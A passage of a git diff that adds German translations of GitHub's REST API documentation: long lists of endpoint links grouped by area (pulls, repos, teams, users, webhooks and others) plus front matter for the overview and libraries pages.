+- [`PATCH /user/memberships/orgs/{org}`](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user)
+- [`GET /user/memberships/orgs`](/rest/reference/orgs#list-organization-memberships-for-the-authenticated-user)
+- [`GET /user/orgs`](/rest/reference/orgs#list-organizations-for-the-authenticated-user)
+- [`GET /orgs/{org}/blocks`](/rest/reference/orgs#list-users-blocked-by-an-organization)
+- [`GET /orgs/{org}/blocks/{username}`](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization)
+- [`PUT /orgs/{org}/blocks/{username}`](/rest/reference/orgs#block-a-user-from-an-organization)
+- [`DELETE /orgs/{org}/blocks/{username}`](/rest/reference/orgs#unblock-a-user-from-an-organization)
+
+## packages
+
+- [`GET /orgs/{org}/packages`](/rest/reference/packages#list-packages-for-an-organization)
+- [`GET /users/{username}/packages`](/rest/reference/packages#list-packages-for-user)
+- [`GET /user/packages`](/rest/reference/packages#list-packages-for-the-authenticated-user)
+
+## Seiten
+
+- [`GET /repos/{owner}/{repo}/pages`](/rest/pages#get-a-github-pages-site)
+- [`POST /repos/{owner}/{repo}/pages`](/rest/pages#create-a-github-pages-site)
+- [`PUT /repos/{owner}/{repo}/pages`](/rest/pages#update-information-about-a-github-pages-site)
+- [`DELETE /repos/{owner}/{repo}/pages`](/rest/pages#delete-a-github-pages-site)
+- [`GET /repos/{owner}/{repo}/pages/builds`](/rest/pages#list-github-pages-builds)
+- [`POST /repos/{owner}/{repo}/pages/builds`](/rest/pages#request-a-github-pages-build)
+- [`GET /repos/{owner}/{repo}/pages/builds/{build_id}`](/rest/pages#get-github-pages-build)
+- [`GET /repos/{owner}/{repo}/pages/builds/latest`](/rest/pages#get-latest-pages-build)
+- [`POST /repos/{owner}/{repo}/pages/deployment`](/rest/pages#create-a-github-pages-deployment)
+- [`GET /repos/{owner}/{repo}/pages/health`](/rest/pages#get-a-dns-health-check-for-github-pages)
+
+## projects
+
+- [`GET /projects/{project_id}/collaborators`](/rest/reference/projects#list-project-collaborators)
+- [`PUT /projects/{project_id}/collaborators/{username}`](/rest/reference/projects#add-project-collaborator)
+- [`DELETE /projects/{project_id}/collaborators/{username}`](/rest/reference/projects#remove-project-collaborator)
+- [`GET /projects/{project_id}/collaborators/{username}/permission`](/rest/reference/projects#get-project-permission-for-a-user)
+- [`GET /orgs/{org}/projects`](/rest/reference/projects#list-organization-projects)
+- [`POST /orgs/{org}/projects`](/rest/reference/projects#create-an-organization-project)
+- [`GET /projects/{project_id}`](/rest/reference/projects#get-a-project)
+- [`PATCH /projects/{project_id}`](/rest/reference/projects#update-a-project)
+- [`DELETE /projects/{project_id}`](/rest/reference/projects#delete-a-project)
+- [`GET /projects/{project_id}/columns`](/rest/reference/projects#list-project-columns)
+- [`POST /projects/{project_id}/columns`](/rest/reference/projects#create-a-project-column)
+- [`GET /projects/columns/{column_id}`](/rest/reference/projects#get-a-project-column)
+- [`PATCH /projects/columns/{column_id}`](/rest/reference/projects#update-a-project-column)
+- [`DELETE /projects/columns/{column_id}`](/rest/reference/projects#delete-a-project-column)
+- [`GET /projects/columns/{column_id}/cards`](/rest/reference/projects#list-project-cards)
+- [`POST /projects/columns/{column_id}/cards`](/rest/reference/projects#create-a-project-card)
+- [`POST /projects/columns/{column_id}/moves`](/rest/reference/projects#move-a-project-column)
+- [`GET /projects/columns/cards/{card_id}`](/rest/reference/projects#get-a-project-card)
+- [`PATCH /projects/columns/cards/{card_id}`](/rest/reference/projects#update-a-project-card)
+- [`DELETE /projects/columns/cards/{card_id}`](/rest/reference/projects#delete-a-project-card)
+- [`POST /projects/columns/cards/{card_id}/moves`](/rest/reference/projects#move-a-project-card)
+- [`GET /repos/{owner}/{repo}/projects`](/rest/reference/projects#list-repository-projects)
+- [`POST /repos/{owner}/{repo}/projects`](/rest/reference/projects#create-a-repository-project)
+- [`GET /users/{username}/projects`](/rest/reference/projects#list-user-projects)
+- [`POST /user/projects`](/rest/reference/projects#create-a-user-project)
+
+## Pulls
+
+- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/comments`](/rest/reference/pulls#list-review-comments-on-a-pull-request)
+- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/comments`](/rest/reference/pulls#create-a-review-comment-for-a-pull-request)
+- [`GET /repos/{owner}/{repo}/pulls/comments`](/rest/reference/pulls#list-review-comments-in-a-repository)
+- [`GET /repos/{owner}/{repo}/pulls/comments/{comment_id}`](/rest/reference/pulls#get-a-review-comment-for-a-pull-request)
+- [`PATCH /repos/{owner}/{repo}/pulls/comments/{comment_id}`](/rest/reference/pulls#update-a-review-comment-for-a-pull-request)
+- [`DELETE /repos/{owner}/{repo}/pulls/comments/{comment_id}`](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request)
+- [`PUT /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}/dismissals`](/rest/reference/pulls#dismiss-a-review-for-a-pull-request)
+- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}/events`](/rest/reference/pulls#submit-a-review-for-a-pull-request)
+- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/requested_reviewers`](/rest/reference/pulls#get-all-requested-reviewers-for-a-pull-request)
+- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/requested_reviewers`](/rest/reference/pulls#request-reviewers-for-a-pull-request)
+- [`DELETE /repos/{owner}/{repo}/pulls/{pull_number}/requested_reviewers`](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request)
+- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/reviews`](/rest/reference/pulls#list-reviews-for-a-pull-request)
+- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/reviews`](/rest/reference/pulls#create-a-review-for-a-pull-request)
+- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}`](/rest/reference/pulls#get-a-review-for-a-pull-request)
+- [`PUT /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}`](/rest/reference/pulls#update-a-review-for-a-pull-request)
+- [`DELETE /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}`](/rest/reference/pulls#delete-a-pending-review-for-a-pull-request)
+- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}/comments`](/rest/reference/pulls#list-comments-for-a-pull-request-review)
+- [`GET /repos/{owner}/{repo}/pulls`](/rest/reference/pulls#list-pull-requests)
+- [`POST /repos/{owner}/{repo}/pulls`](/rest/reference/pulls#create-a-pull-request)
+- [`GET /repos/{owner}/{repo}/pulls/{pull_number}`](/rest/reference/pulls#get-a-pull-request)
+- [`PATCH /repos/{owner}/{repo}/pulls/{pull_number}`](/rest/reference/pulls/#update-a-pull-request)
+- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/commits`](/rest/reference/pulls#list-commits-on-a-pull-request)
+- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/files`](/rest/reference/pulls#list-pull-requests-files)
+- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/merge`](/rest/reference/pulls#check-if-a-pull-request-has-been-merged)
+- [`PUT /repos/{owner}/{repo}/pulls/{pull_number}/merge`](/rest/reference/pulls#merge-a-pull-request)
+- [`PUT /repos/{owner}/{repo}/pulls/{pull_number}/update-branch`](/rest/reference/pulls#update-a-pull-request-branch)
+
+## rate-limit
+
+- [`GET /rate_limit`](/rest/reference/rate-limit#get-rate-limit-status-for-the-authenticated-user)
+
+## Reaktionen
+
+- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}/reactions`](/rest/reference/reactions#list-reactions-for-a-team-discussion-comment)
+- [`POST /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}/reactions`](/rest/reference/reactions#create-reaction-for-a-team-discussion-comment)
+- [`DELETE /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}/reactions/{reaction_id}`](/rest/reference/reactions#delete-team-discussion-comment-reaction)
+- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/reactions`](/rest/reference/reactions#list-reactions-for-a-team-discussion)
+- [`POST /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/reactions`](/rest/reference/reactions#create-reaction-for-a-team-discussion)
+- [`DELETE /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/reactions/{reaction_id}`](/rest/reference/reactions#delete-team-discussion-reaction)
+- [`GET /repos/{owner}/{repo}/comments/{comment_id}/reactions`](/rest/reference/reactions#list-reactions-for-a-commit-comment)
+- [`POST /repos/{owner}/{repo}/comments/{comment_id}/reactions`](/rest/reference/reactions#create-reaction-for-a-commit-comment)
+- [`DELETE /repos/{owner}/{repo}/comments/{comment_id}/reactions/{reaction_id}`](/rest/reference/reactions#delete-a-commit-comment-reaction)
+- [`GET /repos/{owner}/{repo}/issues/{issue_number}/reactions`](/rest/reference/reactions#list-reactions-for-an-issue)
+- [`POST /repos/{owner}/{repo}/issues/{issue_number}/reactions`](/rest/reference/reactions#create-reaction-for-an-issue)
+- [`DELETE /repos/{owner}/{repo}/issues/{issue_number}/reactions/{reaction_id}`](/rest/reference/reactions#delete-an-issue-reaction)
+- [`GET /repos/{owner}/{repo}/issues/comments/{comment_id}/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment)
+- [`POST /repos/{owner}/{repo}/issues/comments/{comment_id}/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment)
+- [`DELETE /repos/{owner}/{repo}/issues/comments/{comment_id}/reactions/{reaction_id}`](/rest/reference/reactions#delete-an-issue-comment-reaction)
+- [`GET /repos/{owner}/{repo}/pulls/comments/{comment_id}/reactions`](/rest/reference/reactions#list-reactions-for-a-pull-request-review-comment)
+- [`POST /repos/{owner}/{repo}/pulls/comments/{comment_id}/reactions`](/rest/reference/reactions#create-reaction-for-a-pull-request-review-comment)
+- [`DELETE /repos/{owner}/{repo}/pulls/comments/{comment_id}/reactions/{reaction_id}`](/rest/reference/reactions#delete-a-pull-request-comment-reaction)
+- [`GET /repos/{owner}/{repo}/releases/{release_id}/reactions`](/rest/reference/reactions/#list-reactions-for-a-release)
+- [`POST /repos/{owner}/{repo}/releases/{release_id}/reactions`](/rest/reference/reactions/#create-reaction-for-a-release)
+- [`DELETE /repos/{owner}/{repo}/releases/{release_id}/reactions/{reaction_id}`](/rest/reference/reactions/#delete-a-release-reaction)
+
+## repos
+
+- [`GET /repos/{owner}/{repo}/codeowners/errors`](/rest/reference/repos#list-codeowners-errors)
+- [`GET /repos/{owner}/{repo}/deployments/{deployment_id}/statuses`](/rest/reference/repos#list-deployment-statuses)
+- [`POST /repos/{owner}/{repo}/deployments/{deployment_id}/statuses`](/rest/reference/repos#create-a-deployment-status)
+- [`GET /repos/{owner}/{repo}/deployments/{deployment_id}/statuses/{status_id}`](/rest/reference/repos#get-a-deployment-status)
+- [`GET /repos/{owner}/{repo}/deployments`](/rest/reference/repos#list-deployments)
+- [`POST /repos/{owner}/{repo}/deployments`](/rest/reference/repos#create-a-deployment)
+- [`GET /repos/{owner}/{repo}/deployments/{deployment_id}`](/rest/reference/repos#get-a-deployment)
+- [`DELETE /repos/{owner}/{repo}/deployments/{deployment_id}`](/rest/reference/repos#delete-a-deployment)
+- [`GET /orgs/{org}/repos`](/rest/reference/repos#list-organization-repositories)
+- [`POST /orgs/{org}/repos`](/rest/reference/repos#create-an-organization-repository)
+- [`GET /repositories`](/rest/reference/repos#list-public-repositories)
+- [`GET /repos/{owner}/{repo}`](/rest/reference/repos#get-a-repository)
+- [`PATCH /repos/{owner}/{repo}`](/rest/reference/repos/#update-a-repository)
+- [`DELETE /repos/{owner}/{repo}`](/rest/reference/repos#delete-a-repository)
+- [`GET /repos/{owner}/{repo}/contributors`](/rest/reference/repos#list-repository-contributors)
+- [`GET /repos/{owner}/{repo}/forks`](/rest/reference/repos#list-forks)
+- [`POST /repos/{owner}/{repo}/forks`](/rest/reference/repos#create-a-fork)
+- [`GET /repos/{owner}/{repo}/languages`](/rest/reference/repos#list-repository-languages)
+- [`GET /repos/{owner}/{repo}/tags`](/rest/reference/repos#list-repository-tags)
+- [`GET /repos/{owner}/{repo}/teams`](/rest/reference/repos#list-repository-teams)
+- [`POST /repos/{owner}/{repo}/transfer`](/rest/reference/repos#transfer-a-repository)
+- [`GET /users/{username}/repos`](/rest/reference/repos#list-repositories-for-a-user)
+- [`GET /user/repos`](/rest/reference/repos#list-repositories-for-the-authenticated-user)
+- [`POST /user/repos`](/rest/reference/repos#create-a-repository-for-the-authenticated-user)
+- [`GET /repos/{owner}/{repo}/autolinks`](/v3/repos#list-autolinks)
+- [`POST /repos/{owner}/{repo}/autolinks`](/v3/repos#create-an-autolink)
+- [`GET /repos/{owner}/{repo}/autolinks/{autolink_id}`](/v3/repos#get-autolink)
+- [`DELETE /repos/{owner}/{repo}/autolinks/{autolink_id}`](/v3/repos#delete-autolink)
+- [`PUT /repos/{owner}/{repo}/automated-security-fixes`](/rest/reference/repos#enable-automated-security-fixes)
+- [`DELETE /repos/{owner}/{repo}/automated-security-fixes`](/rest/reference/repos#disable-automated-security-fixes)
+- [`GET /repos/{owner}/{repo}/branches`](/rest/reference/repos#list-branches)
+- [`POST /repos/{owner}/{repo}/merge-upstream`](/rest/reference/repos#sync-a-fork-branch-with-the-upstream-repository)
+- [`POST /repos/{owner}/{repo}/merges`](/rest/reference/repos#merge-a-branch)
+- [`POST /repos/{owner}/{repo}/dispatches`](/rest/reference/repos#create-a-repository-dispatch-event)
+- [`GET /repos/{owner}/{repo}/keys`](/rest/reference/repos#list-deploy-keys)
+- [`POST /repos/{owner}/{repo}/keys`](/rest/reference/repos#create-a-deploy-key)
+- [`GET /repos/{owner}/{repo}/keys/{key_id}`](/rest/reference/repos#get-a-deploy-key)
+- [`DELETE /repos/{owner}/{repo}/keys/{key_id}`](/rest/reference/repos#delete-a-deploy-key)
+- [`PUT /repos/{owner}/{repo}/lfs`](/rest/reference/repos#enable-git-lfs-for-a-repository)
+- [`DELETE /repos/{owner}/{repo}/lfs`](/rest/reference/repos#disable-git-lfs-for-a-repository)
+- [`GET /repos/{owner}/{repo}/releases`](/rest/reference/repos#list-releases)
+- [`POST /repos/{owner}/{repo}/releases`](/rest/reference/repos#create-a-release)
+- [`GET /repos/{owner}/{repo}/releases/{release_id}`](/rest/reference/repos#get-a-release)
+- [`PATCH /repos/{owner}/{repo}/releases/{release_id}`](/rest/reference/repos#update-a-release)
+- [`DELETE /repos/{owner}/{repo}/releases/{release_id}`](/rest/reference/repos#delete-a-release)
+- [`GET /repos/{owner}/{repo}/releases/{release_id}/assets`](/rest/reference/repos#list-release-assets)
+- [`GET /repos/{owner}/{repo}/releases/assets/{asset_id}`](/rest/reference/repos#get-a-release-asset)
+- [`PATCH /repos/{owner}/{repo}/releases/assets/{asset_id}`](/rest/reference/repos#update-a-release-asset)
+- [`DELETE /repos/{owner}/{repo}/releases/assets/{asset_id}`](/rest/reference/repos#delete-a-release-asset)
+- [`POST /repos/{owner}/{repo}/releases/generate-notes`](/rest/reference/repos#generate-release-notes)
+- [`GET /repos/{owner}/{repo}/releases/latest`](/rest/reference/repos#get-the-latest-release)
+- [`GET /repos/{owner}/{repo}/tags/protection`](/rest/reference/repos#list-tag-protection-state-of-a-repository)
+- [`POST /repos/{owner}/{repo}/tags/protection`](/rest/reference/repos#create-tag-protection-state-for-a-repository)
+- [`DELETE /repos/{owner}/{repo}/tags/protection/{tag_protection_id}`](/rest/reference/repos#delete-tag-protection-state-for-a-repository)
+- [`GET /repos/{owner}/{repo}/vulnerability-alerts`](/rest/reference/repos#check-if-vulnerability-alerts-are-enabled-for-a-repository)
+- [`PUT /repos/{owner}/{repo}/vulnerability-alerts`](/rest/reference/repos#enable-vulnerability-alerts)
+- [`DELETE /repos/{owner}/{repo}/vulnerability-alerts`](/rest/reference/repos#disable-vulnerability-alerts)
+- [`GET /repos/{owner}/{repo}/topics`](/rest/reference/repos#get-all-repository-topics)
+- [`PUT /repos/{owner}/{repo}/topics`](/rest/reference/repos#replace-all-repository-topics)
+
+## search
+
+- [`GET /search/code`](/rest/reference/search#search-code)
+- [`GET /search/commits`](/rest/reference/search#search-commits)
+- [`GET /search/issues`](/rest/reference/search#search-issues-and-pull-requests)
+- [`GET /search/labels`](/rest/reference/search#search-labels)
+- [`GET /search/repositories`](/rest/reference/search#search-repositories)
+- [`GET /search/topics`](/rest/reference/search#search-topics)
+- [`GET /search/users`](/rest/reference/search#search-users)
+
+## Geheimnisüberprüfung
+
+- [`GET /enterprises/{enterprise}/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-an-enterprise)
+- [`GET /orgs/{org}/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-an-organization)
+- [`GET /repos/{owner}/{repo}/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-a-repository)
+- [`GET /repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}`](/rest/reference/secret-scanning#get-a-secret-scanning-alert)
+- [`PATCH /repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}`](/rest/reference/secret-scanning#update-a-secret-scanning-alert)
+- [`GET /repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}/locations`](/rest/reference/secret-scanning#list-locations-for-a-secret-scanning-alert)
+
+## Teams
+{% ifversion ghec %}
+- [`PATCH /orgs/{org}/teams/{team_slug}/external-groups`](/rest/reference/teams#link-external-idp-group-team-connection){% endif %}{% ifversion ghec %}
+- [`DELETE /orgs/{org}/teams/{team_slug}/external-groups`](/rest/reference/teams#unlink-external-idp-group-team-connection){% endif %}{% ifversion ghec %}
+- [`GET /orgs/{org}/external-group/{group_id}`](/rest/reference/teams#external-idp-group-info-for-an-organization){% endif %}{% ifversion ghec %}
+- [`GET /orgs/{org}/external-groups`](/rest/reference/teams#list-external-idp-groups-for-an-organization){% endif %}
+- [`GET /orgs/{org}/teams/{team_slug}/projects`](/rest/reference/teams#list-team-projects)
+- [`GET /orgs/{org}/teams/{team_slug}/projects/{project_id}`](/rest/reference/teams#check-team-permissions-for-a-project)
+- [`PUT /orgs/{org}/teams/{team_slug}/projects/{project_id}`](/rest/reference/teams#add-or-update-team-project-permissions)
+- [`DELETE /orgs/{org}/teams/{team_slug}/projects/{project_id}`](/rest/reference/teams#remove-a-project-from-a-team)
+- [`GET /orgs/{org}/teams/{team_slug}/repos`](/rest/reference/teams#list-team-repositories)
+- [`GET /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#check-team-permissions-for-a-repository)
+- [`PUT /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#add-or-update-team-repository-permissions)
+- [`DELETE /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#remove-a-repository-from-a-team)
+- [`PATCH /orgs/{org}/teams/{team_slug}`](/rest/reference/teams#update-a-team)
+- [`DELETE /orgs/{org}/teams/{team_slug}`](/rest/reference/teams#delete-a-team)
+- [`GET /orgs/{org}/teams/{team_slug}/invitations`](/rest/reference/teams#list-pending-team-invitations)
+- [`GET /orgs/{org}/teams/{team_slug}/members`](/rest/reference/teams#list-team-members)
+- [`GET /orgs/{org}/teams/{team_slug}/memberships/{username}`](/rest/reference/teams#get-team-membership-for-a-user)
+- [`PUT /orgs/{org}/teams/{team_slug}/memberships/{username}`](/rest/reference/teams#add-or-update-team-membership-for-a-user)
+- [`DELETE /orgs/{org}/teams/{team_slug}/memberships/{username}`](/rest/reference/teams#remove-team-membership-for-a-user)
+- [`GET /orgs/{org}/teams/{team_slug}/teams`](/rest/reference/teams#list-child-teams)
+- [`GET /orgs/{org}/teams/{team_slug}`](/rest/reference/teams#get-a-team-by-name)
+- [`GET /orgs/{org}/teams`](/rest/reference/teams#list-teams)
+- [`POST /orgs/{org}/teams`](/rest/reference/teams#create-a-team)
+- [`GET /user/teams`](/rest/reference/teams#list-teams-for-the-authenticated-user)
+- [`GET /orgs/{org}/teams/{team_slug}/discussions`](/rest/reference/teams#list-discussions)
+- [`POST /orgs/{org}/teams/{team_slug}/discussions`](/rest/reference/teams#create-a-discussion)
+- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}`](/rest/reference/teams#get-a-discussion)
+- [`PATCH /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}`](/rest/reference/teams#update-a-discussion)
+- [`DELETE /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}`](/rest/reference/teams#delete-a-discussion)
+- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments`](/rest/reference/teams#list-discussion-comments)
+- [`POST /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments`](/rest/reference/teams#create-a-discussion-comment)
+- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}`](/rest/reference/teams#get-a-discussion-comment)
+- [`PATCH /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}`](/rest/reference/teams#update-a-discussion-comment)
+- [`DELETE /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}`](/rest/reference/teams#delete-a-discussion-comment)
+
+## users
+
+- [`GET /user/blocks`](/rest/reference/users#list-users-blocked-by-the-authenticated-user)
+- [`GET /user/blocks/{username}`](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user)
+- [`PUT /user/blocks/{username}`](/rest/reference/users#block-a-user)
+- [`DELETE /user/blocks/{username}`](/rest/reference/users#unblock-a-user)
+- [`PATCH /user/email/visibility`](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user)
+- [`GET /user/emails`](/rest/reference/users#list-email-addresses-for-the-authenticated-user)
+- [`POST /user/emails`](/rest/reference/users#add-an-email-address-for-the-authenticated-user)
+- [`DELETE /user/emails`](/rest/reference/users#delete-an-email-address-for-the-authenticated-user)
+- [`GET /user/public_emails`](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user)
+- [`GET /users/{username}/followers`](/rest/reference/users#list-followers-of-a-user)
+- [`GET /users/{username}/following`](/rest/reference/users#list-the-people-a-user-follows)
+- [`GET /users/{username}/following/{target_user}`](/rest/reference/users#check-if-a-user-follows-another-user)
+- [`GET /user/followers`](/rest/reference/users#list-followers-of-the-authenticated-user)
+- [`GET /user/following`](/rest/reference/users#list-the-people-the-authenticated-user-follows)
+- [`GET /user/following/{username}`](/rest/reference/users#check-if-a-person-is-followed-by-the-authenticated-user)
+- [`PUT /user/following/{username}`](/rest/reference/users#follow-a-user)
+- [`DELETE /user/following/{username}`](/rest/reference/users#unfollow-a-user)
+- [`GET /users/{username}/gpg_keys`](/rest/reference/users#list-gpg-keys-for-a-user)
+- [`GET /user/gpg_keys`](/rest/reference/users#list-gpg-keys-for-the-authenticated-user)
+- [`POST /user/gpg_keys`](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user)
+- [`GET /user/gpg_keys/{gpg_key_id}`](/rest/reference/users#get-a-gpg-key-for-the-authenticated-user)
+- [`DELETE /user/gpg_keys/{gpg_key_id}`](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user)
+- [`GET /users/{username}/hovercard`](/rest/reference/users#get-contextual-information-for-a-user)
+- [`GET /users/{username}/keys`](/rest/reference/users#list-public-keys-for-a-user)
+- [`GET /user/keys`](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user)
+- [`POST /user/keys`](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user)
+- [`GET /user/keys/{key_id}`](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user)
+- [`DELETE /user/keys/{key_id}`](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user)
+- [`GET /users/{username}/ssh_signing_keys`](/rest/reference/users#list-ssh-signing-keys-for-a-user)
+- [`GET /user/ssh_signing_keys`](/rest/reference/users#list-public-ssh-signing-keys-for-the-authenticated-user)
+- [`POST /user/ssh_signing_keys`](/rest/reference/users#create-an-ssh-signing-key-for-the-authenticated-user)
+- [`GET /user/ssh_signing_keys/{ssh_signing_key_id}`](/rest/reference/users#get-a-ssh-signing-key-for-the-authenticated-user)
+- [`DELETE /user/ssh_signing_keys/{ssh_signing_key_id}`](/rest/reference/users#delete-a-ssh-signing-key-for-the-authenticated-user)
+- [`GET /user`](/rest/reference/users#get-the-authenticated-user)
+- [`PATCH /user`](/rest/reference/users/#update-the-authenticated-user)
+- [`GET /users/{username}`](/rest/reference/users#get-a-user)
+- [`GET /users`](/rest/reference/users#list-users)
+
+## webhooks
+
+- [`GET /repos/{owner}/{repo}/hooks`](/rest/webhooks/repos#list-repository-webhooks)
+- [`POST /repos/{owner}/{repo}/hooks`](/rest/webhooks/repos#create-a-repository-webhook)
+- [`GET /repos/{owner}/{repo}/hooks/{hook_id}`](/rest/webhooks/repos#get-a-repository-webhook)
+- [`PATCH /repos/{owner}/{repo}/hooks/{hook_id}`](/rest/webhooks/repos#update-a-repository-webhook)
+- [`DELETE /repos/{owner}/{repo}/hooks/{hook_id}`](/rest/webhooks/repos#delete-a-repository-webhook)
+- [`GET /repos/{owner}/{repo}/hooks/{hook_id}/config`](/rest/webhooks/repo-config#get-a-webhook-configuration-for-a-repository)
+- [`PATCH /repos/{owner}/{repo}/hooks/{hook_id}/config`](/rest/webhooks/repo-config#update-a-webhook-configuration-for-a-repository)
+- [`GET /repos/{owner}/{repo}/hooks/{hook_id}/deliveries`](/rest/webhooks/repo-deliveries#list-deliveries-for-a-repository-webhook)
+- [`GET /repos/{owner}/{repo}/hooks/{hook_id}/deliveries/{delivery_id}`](/rest/webhooks/repo-deliveries#get-a-delivery-for-a-repository-webhook)
+- [`POST /repos/{owner}/{repo}/hooks/{hook_id}/deliveries/{delivery_id}/attempts`](/rest/webhooks/repo-deliveries#redeliver-a-delivery-for-a-repository-webhook)
+- [`POST /repos/{owner}/{repo}/hooks/{hook_id}/pings`](/rest/webhooks/repos#ping-a-repository-webhook)
+- [`POST /repos/{owner}/{repo}/hooks/{hook_id}/tests`](/rest/webhooks/repos#test-the-push-repository-webhook)
diff --git a/translations/de-DE/content/rest/overview/endpoints-available-for-github-apps.md b/translations/de-DE/content/rest/overview/endpoints-available-for-github-apps.md
new file mode 100644
index 0000000000..439ca2d45f
--- /dev/null
+++ b/translations/de-DE/content/rest/overview/endpoints-available-for-github-apps.md
@@ -0,0 +1,23 @@
+---
+title: Für GitHub-Apps verfügbare Endpunkte
+intro: Deine App kann Anforderungen an die folgenden REST-Endpunkte stellen.
+permissions: 'You must use an installation access token to access endpoints using your {% data variables.product.prodname_github_app %}. For more information, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)."'
+redirect_from:
+  - /v3/apps/available-endpoints
+  - /rest/reference/endpoints-available-for-github-apps
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+shortTitle: GitHub App-enabled endpoints
+ms.openlocfilehash: d8bb53e1844b8171a1ce742fc38e4c4bb29013e7
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109521'
+---
+<!-- The content of this page is rendered as a NextJS page component. -->
diff --git a/translations/de-DE/content/rest/overview/index.md b/translations/de-DE/content/rest/overview/index.md
new file mode 100644
index 0000000000..c62b249445
--- /dev/null
+++ b/translations/de-DE/content/rest/overview/index.md
@@ -0,0 +1,31 @@
+---
+title: REST-API-Übersicht
+shortTitle: Overview
+intro: 'Informiere dich über Ressourcen, Bibliotheken, eine Vorschau und die Problembehandlung für die REST-API von {% data variables.product.prodname_dotcom %}.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+children:
+  - /resources-in-the-rest-api
+  - /media-types
+  - /other-authentication-methods
+  - /troubleshooting
+  - /api-previews
+  - /libraries
+  - /openapi-description
+  - /endpoints-available-for-github-apps
+  - /endpoints-available-for-fine-grained-personal-access-tokens
+  - /permissions-required-for-github-apps
+  - /permissions-required-for-fine-grained-personal-access-tokens
+ms.openlocfilehash: 96d6109d1dcd2571ada7e448459980fdf6a92e05
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145109175'
+---
+
diff --git a/translations/de-DE/content/rest/overview/libraries.md b/translations/de-DE/content/rest/overview/libraries.md
new file mode 100644
index 0000000000..a302d01c6e
--- /dev/null
+++ b/translations/de-DE/content/rest/overview/libraries.md
@@ -0,0 +1,160 @@
+---
+title: Bibliotheken
+intro: 'Mithilfe der offiziellen Octokit-Bibliothek und anderer Drittanbieterbibliotheken kannst du die Verwendung der {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-API erweitern und vereinfachen.'
+redirect_from:
+  - /libraries
+  - /v3/libraries
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+ms.openlocfilehash: aa139c0d25354260ccf688079f3e15a871b627bd
+ms.sourcegitcommit: 0ed77777360ec29eee7cd4fc212ae36fdd97c0bc
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/11/2022
+ms.locfileid: '148160962'
+---
+![Gundamcat](/assets/images/gundamcat.png)
+
+## Octokit ist in vielen Varianten erhältlich
+
+Verwende die offizielle Octokit-Bibliothek oder wähle eine der verfügbaren Drittanbieterbibliotheken aus.
+
